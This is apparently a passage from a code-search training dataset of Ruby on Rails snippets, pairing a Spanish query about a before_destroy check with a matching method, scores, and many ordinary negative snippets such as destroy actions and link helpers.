"def path\n self.file.to_s\n end",
"def path\n @path\n end",
"def path\n @path\n end",
"def path\n @path\n end",
"def path\n @path\n end",
"def path\n @base\n end",
"def src_path(path)\n app_path('src/' + path)\n end",
"def path\n http_url RDoc::RDoc.current.generator.file_dir\n end",
"def relative_path(options = {})\n File.join(self.site.content_dir(options), sanitize_filename(self.name))\n end",
"def path\n unless @selected_filename.nil? || @selected_filename.empty?\n return File.join(@base_dir, @name, @selected_filename)\n end\n ''\n end",
"def path_of(path)\n File.join(self.path, path)\n end",
"def path\n http_url @store.rdoc.generator.file_dir\n end",
"def search_path\n Options.custom_dir\n end"
] | [
"0.66099113",
"0.63447005",
"0.6344689",
"0.63362616",
"0.63069445",
"0.62917894",
"0.6266471",
"0.62566894",
"0.62329155",
"0.62251616",
"0.62099624",
"0.6183693",
"0.6176807",
"0.61586636",
"0.6128603",
"0.6115792",
"0.6110082",
"0.61082464",
"0.6090519",
"0.60740787",
"0.60677415",
"0.60659975",
"0.6059082",
"0.6051804",
"0.60380876",
"0.60300386",
"0.6024",
"0.6024",
"0.6024",
"0.6024",
"0.6024",
"0.6006779",
"0.6006779",
"0.6006779",
"0.6006779",
"0.6006779",
"0.6006779",
"0.6006779",
"0.6006779",
"0.6006779",
"0.6006779",
"0.6006779",
"0.6006779",
"0.6006779",
"0.6006779",
"0.6006779",
"0.6006779",
"0.6006779",
"0.6006779",
"0.6006779",
"0.6006779",
"0.6006779",
"0.6006779",
"0.6006779",
"0.6006779",
"0.6006779",
"0.6006779",
"0.6006779",
"0.6006779",
"0.6006779",
"0.6006779",
"0.6006779",
"0.6006779",
"0.6006779",
"0.6006779",
"0.6002724",
"0.6002724",
"0.6002724",
"0.6001974",
"0.5999064",
"0.5991726",
"0.5990724",
"0.59895116",
"0.5978798",
"0.5976861",
"0.59733754",
"0.5972826",
"0.5972826",
"0.5972826",
"0.5972826",
"0.59665334",
"0.5965045",
"0.59647495",
"0.5964368",
"0.5961307",
"0.5961307",
"0.5961307",
"0.5931051",
"0.5917198",
"0.5917198",
"0.5917198",
"0.5917198",
"0.5910203",
"0.59033865",
"0.59030014",
"0.5901466",
"0.58895254",
"0.5882578",
"0.58823323",
"0.58801025"
] | 0.7663598 | 0 |
control para before_destroy :control_sin_items_comprobantes | def control_sin_items_comprobantes
if [detalles].any? {|detalle| detalle.any? }
self.errors[:base] = "error que queres hacer?"
return false
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def destroy\n @itemtipo.destroy\n\n head :no_content\n end",
"def before_destroy\n items.each(&:destroy)\n permissions.each(&:destroy)\n comments.each(&:destroy)\n super\n end",
"def destroy\n @item_acompanhamento.destroy\n respond_to do |format|\n format.html { redirect_to item_acompanhamentos_url, notice: 'Item acompanhamento was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item_de_despesa.destroy\n addlog(\"Item de despesa apagado\")\n respond_to do |format|\n format.html { redirect_to itens_de_despesa_url, notice: 'Item de despesa apagado com sucesso.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @aux=@item_pautum\n @item_pautum.destroy\n respond_to do |format|\n format.html { redirect_to pautum_path(@aux.pautum), notice: 'Item da pauta removido com sucesso.' }\n format.json { head :no_content }\n end\n end",
"def destroy\r\n @tipo_item_variado.destroy\r\n respond_to do |format|\r\n format.html { redirect_to tipo_item_variados_url, notice: 'ItemVariado excluída com sucesso.' }\r\n format.json { head :no_content }\r\n end\r\n end",
"def destroy\n @contratos_item.destroy\n respond_to do |format|\n format.html { redirect_to contratos_items_url, notice: 'Borrado.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy!\n end",
"def before_destroyed\n end",
"def destroy\n #adicionando itens baixados da cautela na reserva \n if params[:baixar]=='false' \n @reservamunicao=Reservamunicao.where(id: @cautelamunicao.reservamunicao_id,\n reserva_id: @cautelamunicao.cautela.reserva_id)\n \n qtd_reserva=0\n @reservamunicao.each do |reservamunicaos| \n qtd_reserva = reservamunicaos.qtd_municao\n end\n qtd_municao_baixado [email protected]_municao\n qtd_realocar= qtd_reserva + qtd_municao_baixado \n @reservamunicao.update(qtd_municao: qtd_realocar)\n mensagem='O Item foi excluído com Scuesso!'\n end \n \n @cautelamunicao.destroy\n respond_to do |format|\n format.html { redirect_to \"/cautelamunicaos?cautela_id=\"[email protected]_id.to_s+\"&reserva_id=\"[email protected]_id.to_s, notice: mensagem}\n format.json { head :no_content }\n end\n end",
"def before_destroy\n self.product.destroy\n\nend",
"def destroy\n @item.destroy\n flash[:success] = \"項目已刪除!\"\n redirect_to session[:last_page]\n end",
"def before_destroy\n\n end",
"def destroy\n @[email protected]\n @item.destroy\n respond_to do |format|\n format.html { redirect_to @pedido, notice: 'Se ha eliminado el item del pedido' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @contrato.destroy\n end",
"def destroy\n #adicionando itens baixados da cautela na reserva \n if params[:baixar]=='false' \n @reservaarmamento=Reservaarmamento.where(id: @cautelaarmamento.reservaarmamento_id,\n reserva_id: @cautelaarmamento.cautela.reserva_id)\n qtd_reserva=0\n @reservaarmamento.each do |reservaarmamento| \n qtd_reserva = reservaarmamento.qtd_armamento\n end\n qtd_armamento_baixado [email protected]_armamento\n qtd_realocar= qtd_reserva + qtd_armamento_baixado \n @reservaarmamento.update(qtd_armamento: qtd_realocar)\n mensagem='O Item foi excluído com Scuesso!'\n end \n \n @cautelaarmamento.destroy\n respond_to do |format|\n format.html { redirect_to \"/cautelaarmamentos?cautela_id=\"[email protected]_id.to_s+\"&reserva_id=\"[email protected]_id.to_s, notice: mensagem}\n format.json { head :no_content }\n end\n end",
"def destroy\n @servico_item.destroy\n respond_to do |format|\n format.html { redirect_to servico_items_url, notice: 'Servico item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def remove_item\n\n end",
"def destroy\n Estoquemp.where(cliente_id: current_user.cliente_id, item: @materiaprima.item).delete_all\n @materiaprima.destroy\n respond_to do |format|\n format.html { redirect_to new_materiaprima_path, notice: 'Materiaprima was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @listitem.destroy\n head :no_content\nend",
"def destroy\n capitol_id = @capitol.id\n licenta_id = @capitol.licenta_id\n numar = @capitol.numar\n @capitol.destroy\n\n # actualizeaza numerele la restul capitolelor de dupa asta distrus\n @capitole = Capitol.where(\"licenta_id = ? and numar > ?\", \"#{licenta_id}\", \"#{numar}\")\n if @capitole.count > 0\n @capitole.each do |cap|\n cap.update_attributes(numar: cap.numar-1)\n end\n end\n\n # sterge si todo-urile capitolului aluia din baza de date\n Todo.where(capitol_id: capitol_id).delete_all\n\n respond_to do |format|\n format.html { redirect_to root_path }\n format.json { head :no_content }\n end\n end",
"def after_destroyed\n end",
"def delete_item(item)\n @chores.delete(item)\n end",
"def destroy\n @cajas = Caja.all \n if @viatico_detail.destroy\n begin\n @viatico[:inicial] = @viatico.get_total_inicial\n rescue\n @viatico[:inicial] = 0\n end \n \n begin\n @viatico[:total_ing] = @viatico.get_total_ing\n rescue \n @viatico[:total_ing] = 0\n end \n begin \n @viatico[:total_egreso]= @viatico.get_total_sal\n rescue \n @viatico[:total_egreso]= 0 \n end \n @viatico[:saldo] = @viatico[:inicial] + @viatico[:total_ing] - @viatico[:total_egreso]\n @viatico.save\n \n if @viatico.caja_id == 1 \n a = @cajas.find(1)\n a.inicial = @viatico[:saldo]\n a.save\n end \n if @viatico.caja_id == 2\n a = @cajas.find(2)\n a.inicial = @viatico[:saldo]\n a.save\n end \n if @viatico.caja_id == 3 \n a = @cajas.find(3)\n a.inicial = @viatico[:saldo]\n a.save\n end \n if @viatico.caja_id == 4 \n a = @cajas.find(4)\n a.inicial = @viatico[:saldo]\n a.save\n end \n \n flash[:notice]= \"Item fue eliminado satisfactoriamente \"\n redirect_to @viatico\n else\n flash[:error]= \"Item ha tenido un error y no fue eliminado\"\n render :show \n end \n \n end",
"def destroy\n @commo_item.destroy\n respond_to do |format|\n format.html { redirect_to commo_items_url, notice: 'Commo item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cajas = Caja.all \n if @viatico_detail.destroy\n begin\n @viatico[:inicial] = @viatico.get_total_inicial\n rescue\n @viatico[:inicial] = 0\n end \n \n begin\n @viatico[:total_ing] = @viatico.get_total_ingreso\n rescue \n @viatico[:total_ing] = 0\n end \n begin \n @viatico[:total_egreso]= @viatico.get_total_egreso\n rescue \n @viatico[:total_egreso]= 0 \n end \n @viatico[:saldo] = @viatico[:inicial] + @viatico[:total_ing] - @viatico[:total_egreso]\n @viatico.save\n \n if @viatico.caja_id == 1 \n a = @cajas.find(1)\n a.inicial = @viatico[:saldo]\n a.save\n end \n if @viatico.caja_id == 2\n a = @cajas.find(2)\n a.inicial = @viatico[:saldo]\n a.save\n end \n if @viatico.caja_id == 3 \n a = @cajas.find(3)\n a.inicial = @viatico[:saldo]\n a.save\n end \n if @viatico.caja_id == 4 \n a = @cajas.find(4)\n a.inicial = @viatico[:saldo]\n a.save\n end \n \n flash[:notice]= \"Item fue eliminado satisfactoriamente \"\n redirect_to @viatico\n else\n flash[:error]= \"Item ha tenido un error y no fue eliminado\"\n render :show \n end \n \n end",
"def destroy\n @orden_item.destroy\n respond_to do |format|\n format.html { redirect_to orden_items_url, notice: 'Orden item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tipo_item = TipoItem.find(params[:id])\n @tipo_item.destroy\n\n respond_to do |format|\n format.html { redirect_to tipo_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n return success_item_destroy\n end",
"def after_destroy\n super\n @destroyed = true\n end",
"def destroy\n @item.destroy\n redirect_to items_path, notice: 'Item was successfully destroyed.'\n end",
"def after_destroy(trabajo)\n if trabajo.solicitante_id.present?\n Solicitante.decrement_counter(:solicitudes_realizadas,trabajo.solicitante_id)\n Categoria.decrement_counter(:trabajos_asociados,trabajo.categoria_id)\n end\n end",
"def destroy\n @list_id = @item.list.id\n @item.destroy\n @items = List.find(@list_id).items.order(\"id ASC\")\n end",
"def grocery_item_deleter(grocery_list, item)\n grocery_list.delete(item)\n grocery_list\nend",
"def destroy\n combo_producto\n combo_platillo\n @producto_platillo.destroy\n respond_to do |format|\n format.html { redirect_to producto_platillos_url, notice: 'El Detalle del Platillo Fue Eliminado Exitosamente.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @lista_precio = ListaPrecio.find(params[:id])\n\n #existen_reg = Comprobante.find(:all, :conditions=>{:lista_precio_id=>params[:id]}))\n\n \n respond_to do |format|\n\n # unless existen_reg\n # @lista_precio.destroy\n # noti = \"La lista de precios #{@lista_precio.nombre} ha sido eliminada satisfactoriamente.\"\n # format.xml { head :ok }\n # else\n ruta = \"lista_precios/#{@lista_precio.id.to_s}/edit\"\n noti = \"Existen registro relacionados a esta lista de precio, solamente puede cambiar su estado a baja desde #{ActionController::Base.helpers.link_to 'aquí', ruta, :class=> 'fancybox'}.\" \n # end\n \n format.html { redirect_to( lista_precios_url, :notice=> noti)}\n \n end \n\n end",
"def destroy\n\n if @reuniao.status==\"Preparação\"\n @reuniao.destroy\n respond_to do |format|\n format.html { redirect_to reuniaos_url, notice: 'Reuniao was successfully destroyed.' }\n format.json { head :no_content }\n end\n else\n\n redirect_to @reuniao , notice: 'Desculpe mas,reuniao já foi confirmada você não pode remove-la.'\n \n end\n end",
"def destroy\n\t\[email protected]\n\t\thead :no_content\n\tend",
"def destroy\n @comanda_produto.destroy\n respond_to do |format|\n format.html { redirect_to :back, notice: 'Item excluído com sucesso.' }\n format.json { head :no_content }\n end\n end",
"def remove_item\n if [email protected]_answers && @item.ok && @question.items.count > 1\n # No more good answer\n # We put one in random to true\n @item.destroy\n @item2 = @question.items.last\n @item2.ok = true\n @item2.save\n flash[:info] = \"Vous avez supprimé une réponse correcte : une autre a été mise correcte à la place par défaut.\"\n else\n @item.destroy\n end\n redirect_to question_manage_items_path(params[:question_id])\n end",
"def check_food_before_destroy\n\t\tif food_items.size > 0\n\t\t\tfor i in 0..food_items.size-1\n\t\t\t\tFoodItem.destroy(food_items[i].id)\n\t\t\tend\n\t\tend\n\tend",
"def before_destroy\n if supplier_pos.count != 0\n return false\n else\n return true\n end\n end",
"def destroy\n @item.destroy\n redirect_to items_url, notice: 'Item was successfully destroyed.'\n end",
"def destroy\n donor = @item.donor\n @item.destroy\n\n # CHANGE\n # if this is the last time, change the status away from \"donated\"\n\n @items = donor.items.where(event_id: params[:event_id])\n #@items = donor.items\n respond_to do |format|\n format.html { redirect_to event_items_url(@event), notice: 'Item was successfully destroyed.' }\n format.js\n end\n end",
"def destroy\n @components_item = Components::Item.find(params[:id])\n @components_item.destroy\n \n respond_to do |format|\n format.html { redirect_to components_items_url }\n format.json { head :no_content }\n format.js { \n # Variable utilizada para re renderizar index\n @components_items = Components::Item.paginate(:page => params[:page])\n render action: \"index\"\n }\n end\n end",
"def destroy\n @pick_item.destroy\n respond_to do |format|\n format.html { redirect_to pick_items_url, notice: '删除成功.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n authorize! :edit, @item\n @item.destroy\n redirect_to items_path\n end",
"def destroy \n @carrito = carrito_actual\n @carrito_item = CarritoItem.find(params[:id])\n @carrito_item.destroy\n\n respond_to do |format|\n format.html { redirect_to carrito_items_url }\n format.js\n format.json { head :no_content }\n end\n end",
"def destroy\n @coleccionable.destroy\n respond_to do |format|\n format.html { redirect_to coleccionables_url, notice: 'Coleccionable was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n if @cart_item.destroy\n # if @cart_item.cart.items.present?\n build do\n message 'Удаление товара из корзины'\n view 'cart_items/delete'\n end\n # else\n # @cart = @cart_item.cart\n # @cart.destroy\n # build do\n # message 'Удаление корзины'\n # view 'carts/delete'\n # end\n # end\n end\n end",
"def item_destroy\n @item = Item.find(params[:id])\n @item.destroy\n respond_to do |format|\n format.html { redirect_to item_index_path, notice: 'O item foi removido com sucesso.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n \n \n if @conciliabank_detail.destroy \n\n @conciliabank[:saldo_final] = @conciliabank[:saldo_inicial] - @conciliabank.get_subtotal(\"cargos\") + @conciliabank.get_subtotal(\"abonos\")\n \n @conciliabank.update_attributes(:saldo_final=> @conciliabank[:saldo_final])\n\n flash[:notice]= \"Item fue eliminado satisfactoriamente \"\n redirect_to @conciliabank\n else\n flash[:error]= \"Item ha tenido un error y no fue eliminado\"\n render :show \n end \n\n end",
"def destroy\n @item.destroy\n redirect_to items_url, notice: \"This item was removed from the system.\"\n end",
"def after_destroy\n ExhibitItem.destroy_all( [ \"exhibiting_id=? AND exhibiting_type=?\", self.id, self.class.name ] )\n ResourceListItem.destroy_all( [ \"resource_listing_id=? AND resource_listing_type=?\", self.id, self.class.name ] )\n PackageItem.destroy_all( [ \"packaging_id=? AND packaging_type=?\", self.id, self.class.name ] )\n end",
"def destroyed(item)\n bowline.destroyed(\n name, \n item.id\n ).call\n end",
"def after_destroy\n super\n touch_associations\n end",
"def destroy\n @item_additional_condition.destroy\n end",
"def destroy\n @toodoo_item.destroy\n respond_to do |format|\n format.html { redirect_to toodoo_items_url, notice: 'Toodoo item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @content_item_condo = ContentItemCondo.find(params[:id])\n @content_item_condo.destroy\n\n respond_to do |format|\n format.html { redirect_to content_item_condos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n set_proposed_item\n calculate_saving\n \n\n @proposed_item.destroy\n respond_to do |format|\n format.html { redirect_to @budget, notice: 'Proposed item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n if !Item.find_by(unidade: @unidade)\n @unidade.destroy\n respond_to do |format|\n format.html { redirect_to unidades_path, notice: 'Unidade foi excluida com sucesso.' }\n format.json { head :no_content }\n end\n else\n respond_to do |format|\n format.html { redirect_to unidades_path, alert: 'Unidade associada a uma categoria, não foi possível excluir.' }\n end\n end\n end",
"def delete_item\n\nend",
"def destroy\n @list_item.destroy\n\n head :no_content\n end",
"def destroy\n @defected_item.destroy\n respond_to do |format|\n format.html { redirect_to defected_items_url, notice: 'Defected item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @equipe_perso.destroy\n respond_to do |format|\n format.html { redirect_to equipe_persos_url, success: \"Ton équipe a bien été supprimé !\" }\n format.json { head :no_content }\n @joueurs = Joueur.all\n @joueurs.each do |joueur|\n if joueur.estAchete?\n joueur.estAchete = false\n joueur.save\n end\n end\n end\n end",
"def destroy\n @tekniskitem.destroy\n redirect_to tekniskcategories_path , notice: 'Greia er sletta'\n end",
"def destroy\n #Encontrando um comentário dentro do post.\n @comentario = @politico.comentarios.find(params[:id])\n @comentario.destroy\n redirect_to @politico\n end",
"def destroy\n @item.destroy\n redirect_to items_url, notice: 'Item was successfully destroyed.'\n #head :no_content\n end",
"def destroy\n #@police_man.destroy\n @police_man.soft_delete\n respond_to do |format|\n format.html { redirect_to admin_police_men_url, notice: 'Policía ha sido eliminado con éxito.' }\n end\n end",
"def deleteItems\n self.items.each do |item|\n item.delete\n end\n end",
"def remove\n if @item.quantity == 1\n @item.destroy!\n else\n @item.decrement(:quantity)\n @item.save!\n end\n\n refresh\n end",
"def destroy\n \n @company = Company.find(1)\n \n title =@orden_product.avisodetail.descrip \n \n if @orden_product.destroy\n flash[:notice]= \"Item fue eliminado satisfactoriamente \"\n redirect_to @orden \n else\n flash[:error]= \"Item ha tenido un error y no fue eliminado\"\n render :show \n end \n \n end",
"def destroy\n @pre_contrato.destroy\n respond_to do |format|\n format.html { redirect_to pre_contratos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n redirect_to root_path\n end",
"def remove_before_destroy?\n true\n end",
"def destroy\n @item.destroy\n flash[:success] = \"Item successfully destroyed\"\n redirect_to items_path\n end",
"def destroy\n get_item\n @pcp_subject = @pcp_item.pcp_subject\n if @pcp_subject.user_is_owner_or_deputy?( current_user, @pcp_item.pcp_step.acting_group_index )\n if @pcp_item.released?\n notice = 'pcp_items.msg.cannot_del'\n else \n @pcp_item.destroy\n notice = 'pcp_items.msg.delete_ok'\n end\n respond_to do |format|\n format.html { redirect_to pcp_subject_pcp_items_path( @pcp_subject ), notice: t( notice )}\n end\n else\n render_no_permission\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: \"El producto ha sido eliminado.\" }\n format.json { head :no_content }\n end\n end",
"def brief_vendor_del_item\n brief = Brief.find(params[:brief_id])\n brief_vendor = brief.brief_vendors.find_by_org_id(params[:vendor_id])\n item = brief_vendor.items.find_by_parent_id(params[:item_id])\n\n item.destroy\n\n redirect_to(cheil_brief_vendor_items_url(params[:brief_id],params[:vendor_id])) \n end",
"def deleted(item)\n end",
"def destroy\n @list_item.destroy\n redirect_to list_items_url \n end",
"def destroy\n @combo_detalle = ComboDetalle.find(params[:id])\n @combo_detalle.destroy\n\n respond_to do |format|\n format.html { redirect_to combo_detalles_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @mecanico_especialidad.destroy\n respond_to do |format|\n format.html { redirect_to mecanico_especialidads_url, notice: 'Mecanico especialidad was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item_cardapio = ItemCardapio.find(params[:id])\n @item_cardapio.destroy\n\n respond_to do |format|\n format.html { redirect_to item_cardapios_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @rentable_item.destroy\n end",
"def destroy\n @order_item_extra.destroy\n\n head :no_content\n end",
"def destroy\n @receitai.destroy\n respond_to do |format|\n format.html { redirect_to proc { receita_url(@receita)}, notice: 'Item excluido.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cautela = Cautela.find(params[:cautela_id])\n if @cautela.can_update?\n @cautelaitem = @cautela.cautelaitems.find(params[:id])\n @cautelaitem.destroy\n redirect_to cautela_path(@cautela)\n else\n respond_to do |format|\n format.html { redirect_to cautela_path(@cautela), notice: 'Ação não permitida, a cautela já foi validada.' }\n format.json { head :no_content }\n end\n end\n end",
"def destroy\n\[email protected] do |clientesTamp|\n\t @campos_extra = CamposExtra.where('emailCliente = ?', clientesTamp.email)\n\t\tif @campos_extra.first != nil\n\t\t\t@campos_extra.each do |camposExtrasTamp|\n\t\t\t\tif camposExtrasTamp.nomeCampo == @form_primario.nomeCampo\n\t\t\t\t\tcamposExtrasTamp.destroy\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\n \n @form_primario.destroy\n respond_to do |format|\n format.html { redirect_to form_primarios_url, notice: 'Form primario was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cartella_clinica.destroy\n respond_to do |format|\n format.html { redirect_to cartella_clinicas_url, notice: 'La Cartella clinica è stata eliminata correttamente.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n temp_title = @generic_item.title[0]\n @generic_item.destroy\n flash[:notice] = \"#{temp_title} 删除完成。\"\n respond_to do |format|\n format.html { redirect_to root_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n flash[:success] = \"Item foi excluído com sucesso!\"\n respond_to do |format|\n format.html { redirect_to itens_url }\n format.json { head :no_content }\n end\n end",
"def after_delete\n end",
"def destroy\n order_item = OrderItem.find(params[:id])\n order_item.destroy\n order = Order.find(params[:order_id])\n render :partial => \"/orders/order_item\", :locals => { :good_items => [],:order => order,:good => nil }\n end",
"def destroy\n @liner_item.destroy\n respond_to do |format|\n format.html { redirect_to liner_items_url, notice: 'Liner item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n redirect_to my_account_url, notice: 'Item was successfully destroyed.'\n end",
"def destroy\n @components_category = Components::Category.find(params[:id])\n if @components_category.components_items != []\n respond_to do |format|\n format.js { \n @components_categories = Components::Category.paginate(:page => params[:page]);\n @notice = 'No puedes eliminar la categoria \"'+@components_category.name+'\", porque existen registros relacionados.' \n render action: \"index\"\n }\n end \n else\n @components_category.destroy\n respond_to do |format|\n format.js { \n #@components_categories = Components::Category.paginate(:page => params[:page]);\n index\n render action: \"index\"\n }\n end\n end\n \n end",
"def destroy\n @recoleccion.destroy\n respond_to do |format|\n format.html { redirect_to recoleccions_url, notice: 'Recoleccion was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order.line_items.clear\n respond_to do |format| \n format.html { redirect_to(edit_object_url) } \n end\n end",
"def destroy\n \n if @barco.destroy\n alerta=\"Barco eliminado con exito\" \n else\n alerta=\"No se ha podido eliminar el barco\"\n end\n\n respond_to do |format|\n format.html { redirect_to barcos_url, notice: alerta }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n head :no_content\n end"
] | [
"0.7043247",
"0.7038581",
"0.6695523",
"0.666312",
"0.66605735",
"0.66199595",
"0.6593814",
"0.65882796",
"0.65862525",
"0.6535487",
"0.6525096",
"0.65166366",
"0.6495914",
"0.6483524",
"0.6465499",
"0.6451895",
"0.6445081",
"0.6436919",
"0.64357185",
"0.6414452",
"0.64034337",
"0.6398848",
"0.6392994",
"0.63892967",
"0.63850266",
"0.63720614",
"0.6360364",
"0.6360295",
"0.63562536",
"0.6353189",
"0.63496476",
"0.6333009",
"0.6328917",
"0.63272864",
"0.63267004",
"0.63203096",
"0.6306539",
"0.63060045",
"0.63007516",
"0.6296915",
"0.6290358",
"0.6289071",
"0.6285123",
"0.6280586",
"0.6276898",
"0.62755823",
"0.6269445",
"0.6269374",
"0.62689954",
"0.626812",
"0.6247942",
"0.6247301",
"0.6243589",
"0.6229927",
"0.62297946",
"0.62260056",
"0.6224789",
"0.6223555",
"0.62159926",
"0.62050253",
"0.6203365",
"0.619063",
"0.61900645",
"0.6183091",
"0.6180861",
"0.6176652",
"0.6176085",
"0.61731184",
"0.6169767",
"0.61688095",
"0.6166062",
"0.61632836",
"0.6160798",
"0.6158107",
"0.61552954",
"0.615523",
"0.6154494",
"0.61519617",
"0.61516225",
"0.6149399",
"0.6149381",
"0.6149224",
"0.61485463",
"0.61468965",
"0.61388004",
"0.61340886",
"0.61324096",
"0.6130709",
"0.6124839",
"0.6123595",
"0.61206245",
"0.6119655",
"0.6116766",
"0.61166424",
"0.6111549",
"0.6108447",
"0.6107768",
"0.6104702",
"0.6100584",
"0.6098524",
"0.6096875"
] | 0.0 | -1 |
display add full set link | def add_full_set_link(form_builder)
link_to_function 'Extra Full Set' do |page|
form_builder.fields_for :equipment, Equipment.new, :child_index => 'NEW_RECORD' do |f|
html = render(:partial => 'laptop', :locals => { :form => f })
page << "$('#equipment_list').append('#{escape_javascript(html)}'.replace(/NEW_RECORD/g, new Date().getTime()));"
end
form_builder.fields_for :equipment, Equipment.new, :child_index => 'NEW_RECORD' do |f|
html = render(:partial => 'interface_box', :locals => { :form => f })
page << "$('#equipment_list').append('#{escape_javascript(html)}'.replace(/NEW_RECORD/g, new Date().getTime()));"
end
form_builder.fields_for :equipment, Equipment.new, :child_index => 'NEW_RECORD' do |f|
html = render(:partial => 'pads', :locals => { :form => f })
page << "$('#equipment_list').append('#{escape_javascript(html)}'.replace(/NEW_RECORD/g, new Date().getTime()));"
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def links; end",
"def links; end",
"def precinctsShowLink\n \"#{firstname} #{lastname}, #{office.name}\"\n end",
"def fileset_link_markup(file_name, descr = nil)\n descr = \"View resource.\" if descr == nil\n\n link_markup = \"\"\n fileset = fileset(file_name)\n noid = fileset[\"noid\"]\n unless noid.empty?\n link = fileset[\"doi\"]\n link = fileset[\"link\"][12..-3] if link.nil? or link.empty?\n link_markup = \"<a href=\\\"#{link}\\\" target=\\\"_blank\\\">#{descr}</a>\"\n end\n return link_markup\n end",
"def link\n Html::Link.new(:href => url) << display_name\n end",
"def href; end",
"def get_linked_full_name\n h.link_to( get_full_name, meeting_show_full_path(id: object.id), { 'data-toggle'=>'tooltip', 'title'=>I18n.t('meeting.show_results_tooltip') } )\n end",
"def get_linked_short_name\n h.link_to( get_short_name, meeting_show_full_path(id: object.id), { 'data-toggle'=>'tooltip', 'title'=>I18n.t('meeting.show_results_tooltip') } )\n end",
"def show_short_urls\n\t\turls = Url.all\n\t\t@short_url_list = []\n\t\turls.each do |url|\n\t\t\tshort_url = get_short_url_from_id url.id\n\t\t\t@short_url_list << short_url\n\t\tend\n\t\trender \"url\"\n\tend",
"def to_html\n \"<a href='#{@graphs_and_data}'>\" + super + \"</a>\"\n end",
"def link\n '-'\n end",
"def build_link(master_u)\n icon_edit = '<span class=\"glyphicon glyphicon-edit\"></span>'\n icon_show = '<span class=\"glyphicon glyphicon-info-sign\"></span>'\n link = link_to(raw(icon_show), master_u)\n link += link_to(raw(icon_edit), edit_master_unit_path(master_u))\n raw('<div class=\"datatable-actions\">'+link+'</div>')\n end",
"def link(**opt)\n opt[:path] = show_path(id: object.identifier)\n super(**opt)\n end",
"def links\n each_link.to_set\n end",
"def show\n @gmaps_links = []\n @round.albums.each do |album| \n album.places.each do |place|\n gmaps_link = place.address + ' ' + place.city + ' ' + place.state\n gmaps_link.gsub!(' ', '+')\n @gmaps_links << gmaps_link\n end\n end\n end",
"def display\n\t\tLink.pretty_name(provider)\n\tend",
"def fieldsets_links\n fieldsets.map { |key, _value| link_helper(key.to_s) }.join(' | ')\n end",
"def links\n construct_html(self.items)\n end",
"def link() url; end",
"def link() url; end",
"def link\n inclusion.strip\n end",
"def link\n @link\n end",
"def index\n @setquestionlinks = Setquestionlink.all\n end",
"def show \r\n end",
"def show_full\n @show_full=true\n end",
"def s_label; det.link(:text, 'Label'); end",
"def show\n @sterrenlink ||= @link_request.sterrenlinks.last\n end",
"def add *list\n @show = (@show + TinyPng::Path.get_all(list)).uniq\n end",
"def links_feed\n end",
"def show\n @referential = @publication.referential\n breadcrumb\n end",
"def show_all_link?\n @show_all_link\n end",
"def get_linked_full_name_with_date\n h.link_to( \"#{get_full_name} (#{get_meeting_date})\", meeting_show_full_path(id: object.id), { 'data-toggle'=>'tooltip', 'title'=>I18n.t('meeting.show_results_tooltip') } )\n end",
"def index\n @shortlinks = Shortlink.all\n end",
"def overview\n\n end",
"def vdoc_links\n return @link_set if defined? @link_set\n \n @link_set = Set.new\n pages.each {|page| @link_set << page.display_name }\n @link_set\n end",
"def display_all_links_attributes\n # Interface method\n end",
"def add_set_one(set_one)\n set1_text = \"\"\n if set_one\n set_one[:tracks].each do |s|\n set1_text += \"#{s[:title]}, \"\n end\n self.set1 = set1_text\n # binding.pry\n end\n end",
"def show\n @article_link = @study_set.link.url\n\n respond_to do |format|\n format.html\n format.json { render json: { :part_of_set => json_params_for(@study_set.entries.joins(:study_records).where(\"study_records.due < ?\", Time.now)), \n :extra_answers => @extra_answers } }\n end\n end",
"def link_to_all_entries(page)\n url = admin_page_entries_path page\n link_to 'View All', url, class: 'button'\n end",
"def add_uplink_set(uplink_set)\n @data['uplinkSets'] << uplink_set.data\n end",
"def add_uplink_set(uplink_set)\n @data['uplinkSets'] << uplink_set.data\n end",
"def set_url\n url 'set'\n end",
"def index\n @destination_linksets = DestinationLinkset.all\n end",
"def link_with_preserved_display_settings(**)\n \"#{request.path}?#{current_display_settings_query_string(**)}\"\n end",
"def outlet_settings_list\n=begin\n <li>List item 1 <a class=\"button-main\" href=\"/outlet1\">Button</a></li>\n=end\n html = ''\n @outlets.each do |outlet|\n html << '<li>'\n html << '<strong>' << outlet_name(outlet) << '</strong>'\n html << '<a class=\"button-main\" href=\"/outlet/' << outlet_number_human(outlet) << '\">Settings</a>'\n html << '</li>'\n end\n html\nend",
